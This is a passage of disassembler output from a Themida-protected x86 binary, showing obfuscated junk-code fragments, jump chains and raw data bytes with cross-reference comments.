		dd 9C0AE924h, 0D1B5FFFFh, 0E984C580h, 0FFFF7E6Ch, 4A28C181h
		dd 0D1016460h, 4A28E981h, 0E95A6460h, 1FCCh
; ---------------------------------------------------------------------------


loc_550008:				; CODE XREF: Themida_:0054A340j
		not	dword ptr [esp]
		jmp	loc_54B5A4
; ---------------------------------------------------------------------------


loc_550010:				; CODE XREF: Themida_:00551675j
		xchg	ebp, [esp]
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_549CCC
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF64C3h, 2474FF56h, 0C5F0E904h, 0F801FFFFh, 81243C8Bh
		dd 4C4h, 58C60100h, 5C1068h, 243C8900h,	3D27BD55h, 0E5C107D5h
		dd 0E5814505h, 2E3F4AB2h, 81E9DDF7h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55005F:				; CODE XREF: Themida_:0054A679j
		sub	ecx, 6BCC45Ch
		sub	edi, ecx
		pop	ecx
		std
		push	edx
		push	ebx
		jmp	loc_54EA79
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 2CFC01EEh, 181AC381h, 0C3815599h, 435E20BAh
		dd 75C1BE56h, 0EB814371h, 6D969F1h, 12E9F301h, 89FFFFF8h
		dd 88B9240Ch, 0E9061937h, 0FFFF941Bh, 3DE9C701h, 5AFFFFD9h
		dd 8704C183h, 95C240Ch,	0E99C2404h, 0FFFF642Fh
dword_5500BC	dd 8B2434FFh		; DATA XREF: Themida_:005463C4o
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54C21E
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 2C2h, 24143300h, 33241431h, 248B2414h, 0AB0F6624h, 0E99C2404h
		dd 11B2h, 7F98E956h, 0E381FFFFh, 366373F5h, 3305F381h
		dd 7BE93443h, 0E9000020h, 0FFFF63DBh
; ---------------------------------------------------------------------------


loc_550110:				; CODE XREF: Themida_:0054A5F9j
		mov	ebp, 335B7FCAh
		jmp	loc_548386
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 29000000h, 0F6859CFh, 0E9000060h, 0FFFFEEA8h
; ---------------------------------------------------------------------------


loc_55012C:				; CODE XREF: Themida_:0054AAA0j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		jmp	loc_549532
; ---------------------------------------------------------------------------
		db 66h,	89h, 0F0h
		dd 0FFA89AE9h, 0BE5653FFh, 290E309Bh, 0C15EF389h, 0EBC107E3h
		dd 18F38104h, 81264B12h, 3A96C4F3h, 5BD8012Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_548E64
; ---------------------------------------------------------------------------


loc_550178:				; CODE XREF: Themida_:0054C361j
		sub	esp, 4
		jmp	loc_54DF37
; ---------------------------------------------------------------------------
		dd 580F581h, 0EA01380Ch, 2414875Dh, 22B4505Ch, 0E958E200h
		dd 0FFFFC130h
; ---------------------------------------------------------------------------


loc_550198:				; CODE XREF: Themida_:00551805j
		and	esi, eax
		pop	eax
		sub	esi, 24EC5002h
		mov	ebx, esi
		pop	esi
		add	ebp, ebx
		jmp	loc_54FE36
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240CFEh, 0FF6336E9h
		db 0FFh
byte_5501B5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00546318o
		dd 0A03BE924h, 0EF83FFFFh, 0C469E9FFh, 0BF57FFFFh, 5EDB7C38h
		dd 78A368h, 24348900h, 0BA4C6DBEh, 0E9D6F766h, 66Eh, 7D77E95Ah
		dd 0D0F7FFFFh, 0CEB8193h, 1AE2C8Fh, 0E2E95BDEh,	5CFFFFB1h
		dd 51243C89h, 0C181E189h, 4, 8704E983h,	248B240Ch, 48F5424h
		dd 4BB5324h, 1000000h, 8B04245Ch, 0C483241Ch, 0C7815F04h
		dd 4, 0FFCC87E9h, 0E5E959FFh
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550233:				; CODE XREF: Themida_:0054FBB0j
		push	esp
		jmp	loc_551DB9
; ---------------------------------------------------------------------------
		db 5Dh,	31h, 0C3h
		dd 0FFCAF1E9h, 7EDF05FFh, 5E5E4DEDh, 0E9240487h, 0FFFF9CEFh
		dd 423F6850h, 24890000h, 0BB535024h, 4,	97E9D889h, 89FFFFA3h
		dd 0BE56243Ch, 6B7F626Bh, 0FF9D26E9h, 0E9D0F6FFh, 0FFFFB528h
		dd 0E97AB252h, 0FFFF6A24h, 8324048Bh, 0E95904C4h, 0FFFF625Bh
dword_550290	dd 241CF766h, 6251E99Ch, 0EC83FFFFh, 242C8904h,	0FF9B39E9h
					; DATA XREF: Themida_:00546484o
		dd 2BAFFh, 0D7890000h, 2DB92D5Ah, 0A80523D6h, 13CFB71h
		dd 71A82DF8h, 0B9053CFBh, 5F23D62Dh, 0E9240433h, 0FFFF8CFDh
		dd 8B24048Fh, 0BE0F2424h, 873BE9C8h, 0C631FFFFh, 0F7CEE958h
		dd 835BFFFFh, 0EC8302C5h, 243C8904h, 0D4E9E789h, 89FFFF6Ch
		dd 74FF241Ch, 8F5B0424h, 248B2404h, 8EFFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550306:				; CODE XREF: Themida_:0054E3E2j
		not	ebp
		xchg	ebp, [esp]
		pop	eax
		jmp	loc_547352
; ---------------------------------------------------------------------------


loc_550311:				; CODE XREF: Themida_:00547459j
		mov	ecx, ebp
		mov	eax, ecx
		pop	ecx
		pop	ebp
		push	ecx
		mov	ecx, eax
		mov	esi, ecx
		pop	ecx
		jmp	loc_548C46
; ---------------------------------------------------------------------------


loc_550322:				; CODE XREF: Themida_:0054A94Cj
		pop	esi
		pop	eax
		xor	eax, 33967CA6h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54C858
; ---------------------------------------------------------------------------


loc_550338:				; CODE XREF: Themida_:0054B6ECj
		jz	loc_54AAB0
		push	dword ptr [edi+1Ch]
		push	ebx
		mov	ebx, 363D4CFFh
		sub	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54894D
; ---------------------------------------------------------------------------
		db 21h
		dd 0F78159CFh, 2A3D0DD6h, 41B8B850h, 0E8C137ACh, 0D83A0503h
		dd 0C7095D9Eh, 0B7EF8158h, 0E901BE13h, 0FFFF627Bh
; ---------------------------------------------------------------------------


loc_55037C:				; CODE XREF: Themida_:00551632j
		neg	eax
		shr	eax, 6
		not	eax
		jmp	loc_5517FE
; ---------------------------------------------------------------------------
		dd 0EB80C328h, 58C38044h, 0F7CE9h, 0BD665500h, 0FBE977BAh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55039F:				; CODE XREF: Themida_:005488E3j
		mov	ebp, 4
		jmp	loc_551173
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 6EE95954h, 68FFFF6Bh, 34F914E3h, 49C5815Dh, 55CFF562h
		dd 0C8243481h, 5A1B9367h, 0FF7BF7E9h, 81E689FFh, 4C6h
		dd 4EE8300h, 5C243487h,	0FF91CEE9h, 241C87FFh, 0A878E95Ch
		dd 0C101FFFFh, 75396858h, 73E90000h, 58000018h,	1790E955h
		db 2 dup(0)
word_5503FE	dw 77FFh		; DATA XREF: Themida_:00546364o
		dd 59669D1Ch, 9C241CD2h, 0FF9221E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55040D:				; CODE XREF: Themida_:0054F318j
		dec	ebp
		jmp	loc_549633
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835A2434h, 0D9F704C4h, 0FF9B6DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550421:				; CODE XREF: Themida_:005490FFj
		mov	[esp], eax
		jmp	loc_5490C8
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 8Bh
		dd 582C9B6Bh, 0E9241C87h, 0FFFFF3F7h
dword_550438	dd 8B2434FFh, 0C4832404h, 4EC8104h, 89000000h, 0E2892414h
					; DATA XREF: Themida_:0054642Co
		dd 14B95153h, 0E96C7A0Dh, 261h,	0E2D1D2F7h, 3E03BD55h
		dd 0F7554047h, 0C15D2414h, 4EE902E5h, 54FFFFA4h, 8324348Bh
		dd 486804C4h, 89000007h, 0E8E9242Ch, 0B9FFFFCAh, 72A536E9h
		dd 0E9C1D9F7h, 76685008h, 89000061h, 0D68242Ch,	5D729717h
		dd 96E9D5F7h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5504A3:				; CODE XREF: Themida_:005515E0j
		mov	eax, ebx
		push	edi
		jmp	loc_54D9CC
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF2434h, 0CCE90424h
		db 84h,	2 dup(0FFh)
byte_5504B7	db 8Bh			; DATA XREF: Themida_:0054635Co
		dd 0EC83240Ch, 241C8904h, 0E904EC83h, 0FFFFC04Fh, 2434FF58h
		dd 4C48158h, 0E9000000h, 0FFFF9423h, 8108E2C1h,	0C20D0AE2h
		dd 4C28111h, 1FFBDF3h, 2434FFD1h, 0FFEEB2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5504F1:				; CODE XREF: Themida_:00548274j
		mov	ebp, 0E117E81h
		jmp	loc_5471AB
; ---------------------------------------------------------------------------


loc_5504FB:				; CODE XREF: Themida_:00550C55j
		add	ebp, edx
		jmp	loc_5505FC
; ---------------------------------------------------------------------------
		dw 0CE01h
		dd 68240C8Bh, 3864h, 89242C89h,	0CA27E9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550516:				; CODE XREF: Themida_:005471F3j
		add	edx, 4
		jmp	loc_5476AD
; ---------------------------------------------------------------------------


loc_550521:				; CODE XREF: Themida_:0055288Fj
		pop	edx
		and	ebp, 4BA08AFh
		xor	ebp, 48208A6h
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54E3DF
; ---------------------------------------------------------------------------
byte_550545	db 66h,	8Bh, 4		; DATA XREF: Themida_:00546438o
		dd 0E0895024h, 405h, 14A0E900h,	0CB810000h, 5B8E1826h
		dd 7832EB81h, 0DF015BEEh, 4C7815Bh, 87000000h, 0E95C243Ch
		dd 1B98h, 0CCB1C681h
		db 0E7h, 0E5h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5486AE
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0B7D7E904h, 0B951FFFFh, 782953F3h, 5B0AC181h, 57496316h
		dd 3FAEF8BFh, 0E9F929DBh, 871h,	1A4F6866h, 6E95E66h, 81FFFFF2h
		dd 4C4h, 0FFEE8300h, 300CE81h, 0C68113D1h, 8800B4C0h, 875EF301h
		dd 0FF5C241Ch, 48B2434h, 4C48124h, 53000000h, 0C381E389h
		dd 4, 0FF7214E9h, 0C3815CFFh, 4, 6802C383h, 47C1h, 0E9241C89h
		dd 0FFFFBF38h
; ---------------------------------------------------------------------------


loc_5505FC:				; CODE XREF: Themida_:005504FDj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54A282
; ---------------------------------------------------------------------------
		db 8Bh
		dd 37E92404h, 89000006h, 243C8BFEh, 4C481h, 0EA810000h
		dd 157A4F95h, 6324EA81h, 0F2011481h, 6324C281h,	0C2811481h
		dd 157A4F95h, 8324348Bh, 0D8E904C4h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55063F:				; CODE XREF: Themida_:00551126j
		push	ebx
		push	6CC7h
		mov	[esp], edi
		jmp	loc_551716
; ---------------------------------------------------------------------------
		db 0BBh, 88h, 7Ch
		dd 0D3E905E0h, 0C1FFFFE7h, 0BE5606E7h, 0BE81B5BCh, 673AEF81h
		dd 0C7811B29h, 5E387180h, 0EF81F729h, 5E387180h, 0FF8858E9h
		dd 6386BEFFh, 0DEF71FAFh, 0FFD173E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550685:				; CODE XREF: Themida_:0054EFFCj
		pop	esp
		push	dword ptr [edi+eax*4]
		push	ebx
		mov	ebx, 14494BF1h
		sub	[esp+4], ebx
		jmp	loc_54C86E
; ---------------------------------------------------------------------------
		dd 62EA68h, 6849E900h, 0E959FFFFh, 0FFFF6F00h
; ---------------------------------------------------------------------------


loc_5506A8:				; CODE XREF: Themida_:00551FB3j
		add	ebx, 4
		push	edx
		mov	edx, 4
		jmp	loc_5511FC
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 12h
		dd 8150DF23h, 0DE2890E1h, 81D9F70Bh, 0D879DBC1h, 0E9CB8973h
		dd 0FFFF7F87h
; ---------------------------------------------------------------------------


loc_5506D4:				; CODE XREF: Themida_:0054C219j
		sub	ebx, 41A8360Eh
		pop	eax
		push	ebp
		jmp	loc_54E337
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0FFh
		dd 54CC030h, 4D8E65C2h,	0C22DC801h, 594D8E65h, 48BE9h
		dd 5BDE0100h, 56B8B951h, 61E96786h, 0BEFFFF68h,	2B0F3698h
		dd 0FFA28FE9h, 3B7A05FFh, 78E96C42h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55071B:				; CODE XREF: Themida_:0054B1DBj
		pop	esp
		jmp	loc_548D4D
; ---------------------------------------------------------------------------


loc_550721:				; CODE XREF: Themida_:0054D3AEj
		push	edi
		mov	edi, 562A2F0Fh
		shl	edi, 7
		xor	edi, 1F6A645Fh
		and	edi, 1D2E60E6h
		xor	edi, 0BE0581Dh
		neg	edi
		add	edi, 43EE76DDh
		mov	ebx, edi
		pop	edi
		not	ebx
		and	ebx, 6FD4232Eh
		sub	ebx, 2FD40128h
		jmp	loc_54DA0D
; ---------------------------------------------------------------------------
word_55075A	dw 8B66h		; DATA XREF: Themida_:005462F4o
		dd 54552404h, 4BE565Dh,	1000000h, 0C9685EF5h, 8900004Bh
		dd 2E92434h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550777:				; CODE XREF: Themida_:0054C785j
		mov	edx, 655C605Bh
		and	edx, 268F7172h
		or	edx, 76A54CE8h
		neg	edx
		add	edx, 76AD6CFEh
		jmp	loc_54D3AA
; ---------------------------------------------------------------------------


loc_550795:				; CODE XREF: Themida_:00550C28j
		shl	edx, 7
		jmp	loc_5523EE
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 0E9h
		dd 0FFFF7B3Eh, 6240481h, 5952EC31h, 3106E981h, 495A52ECh
		dd 0C99AC181h, 0CA31AAB2h, 83240C8Bh, 0D58904C4h, 0F5E8E95Ah
		dd 248BFFFFh, 8D17E924h, 0B252FFFFh, 0FFC2809Bh, 5105E2C0h
		dd 0B56CB753h, 5BFD009Eh, 1E52E9h, 0A30F5C00h, 0E99C2404h
		dd 0FFFF5CF7h, 0C381E389h, 4, 8704EB83h, 895C241Ch, 68241Ch
		dd 0FF408C71h, 1C8B2434h, 0E72AE924h, 0C31FFFFh, 240C3324h
		dd 1E9C685Ch, 34890000h, 2474FF24h, 0AB9E904h, 88510000h
		dd 8BEB88C5h, 0B4E9240Ch
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55083B:				; CODE XREF: Themida_:00549CBBj
		or	[edi+1Ch], esi
		pop	esi
		jmp	loc_54A98D
; ---------------------------------------------------------------------------
		dd 9AB450h, 0F6D0E9E3h,	0C146FFFFh, 815705EEh, 4ECh, 0ABF8E900h
		dd 0C481FFFFh, 4, 6AA2E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55086A:				; CODE XREF: Themida_:005475DDj
					; Themida_:0055168Cj ...
		push	esi
		push	ebx
		jmp	loc_5495B7
; ---------------------------------------------------------------------------


loc_550871:				; CODE XREF: Themida_:0054DC00j
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		push	6C013771h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	esi
		mov	esi, 73674A3h
		jmp	loc_5465A1
; ---------------------------------------------------------------------------
byte_5508A5	db 66h,	8Bh, 4		; DATA XREF: Themida_:005462F8o
		dd 4EC8124h, 89000000h,	2E9241Ch
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5508B7:				; CODE XREF: Themida_:0054B4A4j
		mov	eax, 77A47199h
		neg	eax
		add	eax, 3675CB9h
		inc	eax
		push	esi
		mov	esi, 32F7302Ch
		shr	esi, 7
		jmp	loc_54A6CD
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 31D56E38h, 8246C29h,	24348B5Dh, 8104C483h, 5F87242Ch
		dd 0FCE93870h, 88FFFF5Bh, 88D4F6DCh, 0E678E9E3h, 0F531FFFFh
		dd 7577E95Eh, 0C681FFFFh, 78E26469h, 0E951DE01h, 0FFFFB10Fh
; ---------------------------------------------------------------------------


loc_550910:				; CODE XREF: Themida_:005524FAj
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_54A20C
; ---------------------------------------------------------------------------


loc_55091D:				; CODE XREF: Themida_:005477F4j
		mov	esi, 0FFFFFFFFh
		jmp	loc_551637
; ---------------------------------------------------------------------------
		db 29h
		dd 0EB46E9DDh, 0C681FFFFh, 0BBF56603h, 575EF701h, 8CE9E789h
		dd 83FFFF8Dh, 8AE904C4h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550947:				; CODE XREF: Themida_:0054FDADj
		not	ebx
		xchg	ebx, esi
		jmp	loc_54C95B
; ---------------------------------------------------------------------------
		dd 0E908EFC1h, 0FFFFEEB7h, 57243489h, 2716A4BFh, 0E9DF8713h
		dd 0FFFFEDCAh
; ---------------------------------------------------------------------------


loc_550968:				; CODE XREF: Themida_:00551718j
		mov	edi, 0DE371B1h
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, 5EF672F7h
		sub	edi, ebp
		pop	ebp
		jmp	loc_5521D9
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0C970E8B8h, 8904EC83h, 5D57242Ch, 0FFD468E9h, 0E56855FFh
		dd 89000071h, 4812424h,	424h, 0E6685D00h, 0E9000019h, 0FFFF691Ah
		dd 381FC781h, 0F901E8C2h, 0E9CB315Fh, 51Ch, 8704C583h
		dd 248B242Ch, 24048724h, 5224248Bh, 0FFDBA6E9h
		db 0FFh
byte_5509D5	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00546300o
		dd 6659669Dh, 9C2414D3h, 0FFC837E9h, 86CEFEFFh,	86D3F6DEh
		dd 827AE9DEh, 0C301FFFFh, 241C8758h, 288645Ch, 0FF5AEAE9h
		dd 8DE952FFh
		db 0A1h, 2 dup(0FFh)
byte_550A07	db 0FFh			; DATA XREF: Themida_:00546240o
a4XhQ		db '4$XhбQ',0
		align 10h
		dd 0FF921EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550A15:				; CODE XREF: Themida_:0054D8A1j
		inc	esi
		push	eax
		jmp	loc_54EE79
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 21FF4A51h, 2C8BEA29h, 4C48324h, 0DA87EAD1h
		dd 0DA31D3F7h, 0DA31D331h, 7974C281h, 0F281360Ah, 51949DE3h
		dd 0FFD58DE9h, 4C481FFh, 81000000h, 4ECh, 62C3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550A5A:				; CODE XREF: Themida_:0054BDB2j
		jz	loc_549391
		push	dword ptr [edi+1Ch]
		push	edi
		jmp	loc_548ADB
; ---------------------------------------------------------------------------
		db 52h,	54h, 8Bh
		dd 0C4812414h, 4, 4C281h, 0C2830000h, 24148704h, 2404875Ch
		dd 4C4815Ch, 0F7000000h, 0AC94E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550A92:				; CODE XREF: Themida_:005498AEj
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		add	[esp], eax
		push	edx
		mov	edx, 2925256Ah
		sub	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_546763
; ---------------------------------------------------------------------------


loc_550AB4:				; CODE XREF: Themida_:00550C20j
		or	ebp, 3B9B2554h
		sub	ebp, 7D6DC5E3h
		mov	ecx, ebp
		pop	ebp
		push	edx
		mov	edx, 2917210h
		xor	ecx, edx
		pop	edx
		push	eax
		jmp	loc_550E8D
; ---------------------------------------------------------------------------
		dw 475Dh
		dd 0FFFEA9E9h, 5FFA89FFh, 0BE56DAF7h, 32987760h, 515EF201h
		dd 0B1287B9h, 3E9C175h,	8102E1C1h, 380DAAE1h, 99BD5565h
		dd 0C1657523h, 4D4D03EDh, 8108EDC1h, 0E459FFCDh, 86C58102h
		dd 0E9D33E68h, 0FFFFA2E4h, 5524048Bh, 249368h, 48F5400h
		dd 33A6824h, 4890000h, 4B824h, 44010000h, 5D580424h, 0FFAD40E9h
		dd 70D1BBFFh, 0DE017814h, 0CEC1815Bh, 1372974h,	0CEE981F1h
		dd 5E372974h, 0AC7FE955h
		db 2 dup(0FFh)
word_550B5A	dw 53ACh		; DATA XREF: Themida_:0054623Co
		dd 0FFAD9CE9h, 241C89FFh, 2434FF54h, 4C4815Bh, 50000000h
		dd 4B8h, 0E9C30100h, 0FFFFCFAFh
dword_550B7C	dd 0E924248Bh, 0FFFF5967h, 81243C8Bh, 4C4h, 240C8B00h
					; DATA XREF: Themida_:0054643Co
		dd 81E38953h, 4C3h, 4C38300h, 0FFD2FFE9h, 243487FFh, 0F724248Bh
		dd 4EC81F9h, 89000000h,	0E389241Ch, 4BF5751h, 52000000h
		dd 89F88950h, 815258C2h, 1FCB242Ch, 81590228h, 281FCBC1h
		dd 815F5A02h, 2226DFC3h, 6A4EE976h, 0E280FFFFh,	7E2C0B5h
		dd 0F400E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550BEA:				; CODE XREF: Themida_:0054AF23j
		xchg	ecx, [esp]
		jmp	loc_54C924
; ---------------------------------------------------------------------------
		dw 0DF87h
		dd 0FFC1E0E9h, 837B4FFh, 0C58058E5h, 0E9EF88A2h, 0FFFFBACEh
dword_550C08	dd 24048B66h, 0EE95451h	; DATA XREF: Themida_:005463B8o
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550C13:				; CODE XREF: Themida_:00546CF8j
		push	ecx
		push	ebp
		mov	ebp, 63781023h
		or	ebp, 55633B1h
		jmp	loc_550AB4
; ---------------------------------------------------------------------------


loc_550C25:				; CODE XREF: Themida_:00549BC8j
		add	edx, ebx
		pop	ebx
		jmp	loc_550795
; ---------------------------------------------------------------------------


loc_550C2D:				; CODE XREF: Themida_:0054B940j
		neg	ecx
		inc	ecx
		jmp	loc_54980B
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 18h
		dd 1009220h, 0C0835BD8h, 9B65E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5504FB
; ---------------------------------------------------------------------------
		dw 0D028h
		dd 0FFC2CFE9h, 0EF814FFFh, 22DE4094h, 24048157h, 36EF777Dh
		dd 6E24E95Ah, 0C329FFFFh, 7C38EB81h, 71E95EDBh
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550C83:				; CODE XREF: Themida_:0054FB09j
		neg	eax
		add	eax, 67E25562h
		sub	eax, 4632D90Fh
		add	ebp, eax
		pop	eax
		pop	eax
		xor	ebp, 431E3168h
		add	ebp, 0B774C4FFh
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 0D8D0985h
		and	esi, 76227A4Ch
		jmp	loc_5474CA
; ---------------------------------------------------------------------------


loc_550CB9:				; CODE XREF: Themida_:005484ECj
		sub	bl, 17h
		sub	cl, bl
		pop	ebx
		add	al, cl
		push	dword ptr [esp]
		jmp	loc_54F180
; ---------------------------------------------------------------------------


loc_550CC9:				; CODE XREF: Themida_:0054EAB2j
		pop	edx
		xor	esi, 1C3975E4h
		shl	esi, 2
		jmp	loc_54BCD9
; ---------------------------------------------------------------------------
		dd 24348B5Bh, 4C481h, 0C6810000h, 4, 0FF837FE9h, 2434FFFFh
		dd 582434FFh, 0E9E78957h, 0FFFFC28Ah, 125CE81h,	0DEF75872h
		dd 64E8B850h, 0AEE9210Fh, 81FFFFD0h, 7F738AC5h,	81C5017Ah
		dd 7F738AEDh, 0F8E5E97Ah, 0CF81FFFFh, 66C71494h, 62E3BD55h
		dd 81455FF8h, 5013C2CDh, 0E578E96Ah, 2C89FFFFh,	53E6BD24h
		dd 0F581680Dh, 8B15DB6h, 0F7DDF745h, 0B95153DDh, 3F5854D8h
		dd 3A1BC181h, 0C9811C4Ah, 7EFE2E6Dh, 0FF938BE9h, 77CF68FFh
		dd 34890000h, 157CE924h, 34FF0000h, 2434FF24h, 5A2434FFh
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F739
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E78105EFh, 76B3074Fh, 7E8AEF81h, 0D7F7025Fh, 2457E781h
		dd 0C78127A2h, 0F41CB58Dh, 0FFF279E9h, 52E389FFh, 6C88E955h
		dd 2E05FFFFh, 8B655831h, 0EC812414h, 4,	0E9241489h, 0FFFF802Fh
		dd 2C43B151h, 4C82807h,	58F2E907h, 1C87FFFFh, 0D8285C24h
		dd 52664A04h, 0A4E920B6h, 89FFFFE5h, 0BC74E9E2h, 0C781FFFFh
		dd 4, 4C781h, 4AE90000h, 5EFFFF77h, 0FF9680E9h,	0CF015FFFh
		dd 243C8759h, 2434FF5Ch, 0FF2434FFh, 34FF2434h,	0C4835924h
		dd 0E9545104h, 0FFFF70CBh
dword_550E34	dd 240C8B66h, 6700E951h, 0E9C1FFFFh, 0EC815607h, 4, 0BF243C89h
					; DATA XREF: Themida_:00546450o
		dd 2A53006Ch, 546251BEh, 5FFE292Ah, 66E9F131h, 0B5FFFFE0h
		dd 283FB262h, 240C8BEAh, 0FFD708E9h, 4C581FFh, 0E9000000h
		dd 0FFFFED3Dh
; ---------------------------------------------------------------------------


loc_550E78:				; CODE XREF: Themida_:0054E7B7j
		pop	ebp
		jmp	loc_54E4BC
; ---------------------------------------------------------------------------
		dw 0C668h
		dd 8900006Dh, 0E189240Ch, 0FF6E88E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550E8D:				; CODE XREF: Themida_:00550ACDj
		mov	eax, 4D5C5C19h
		and	eax, 51C3C2Ch
		jmp	loc_54E895
; ---------------------------------------------------------------------------


loc_550E9C:				; CODE XREF: Themida_:0054C9EEj
		sub	esi, 1ECD32E9h
		push	ebx
		mov	ebx, 0CF4D8FC3h
		add	esi, ebx
		jmp	loc_547065
; ---------------------------------------------------------------------------


loc_550EAF:				; CODE XREF: Themida_:00549E02j
		mov	eax, 297E0BF9h
		jmp	loc_549BBC
; ---------------------------------------------------------------------------
		db 28h,	0F0h, 2Ch
		dd 9AF1E9C4h, 0D331FFFFh, 0B768565Ah, 5E76BF77h, 8106E6C1h
		dd 0CE911FF6h, 0E9F331A6h, 0FFFF9039h, 0E9D82959h, 0FFFFDAADh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_549C7F
; ---------------------------------------------------------------------------


loc_550EEC:				; CODE XREF: Themida_:0054C176j
		pop	eax
		pop	esi
		sub	eax, 63D17AB7h
		add	eax, 2632551Ah
		sub	eax, 47210784h
		add	eax, ebx
		add	eax, 47210784h
		push	ecx
		mov	ecx, 2632551Ah
		sub	eax, ecx
		pop	ecx
		add	eax, 63D17AB7h
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edi
		jmp	loc_54B493
; ---------------------------------------------------------------------------


loc_550F1F:				; CODE XREF: Themida_:005481CAj
		pop	ecx
		add	esp, 4
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_549BD8
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 35D0F706h, 0C0F6F55Eh, 0C1E9C389h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550F47:				; CODE XREF: Themida_:0054C295j
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		sub	dword ptr [esp], 440500FFh
		pop	edi
		push	ecx
		mov	ecx, 5F10444Eh
		jmp	loc_54AE33
; ---------------------------------------------------------------------------
		db 52h,	81h, 4
		dd 124h, 0EAD15A00h, 0EC835142h, 24148904h, 891E68BAh
		dd 25E95275h, 0B9FFFFF8h, 6E2F08D9h, 1C181h, 0E9810000h
		dd 5CCB88F9h, 76E9CE89h, 88FFFF56h, 0FE865AD7h,	8003E6C0h
		dd 0B3530EE6h, 6E3C04Ah, 0B6E9D330h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550FAF:				; CODE XREF: Themida_:00551A26j
		xor	eax, esi
		jmp	loc_549C1A
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 165C2269h, 4712EB81h, 0C3816AECh, 5CFC17C3h,	78B5E381h
		dd 83E926F6h, 5AFFFFF5h, 0FF5512E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550FD9:				; CODE XREF: Themida_:005521DBj
		mov	eax, 37897509h
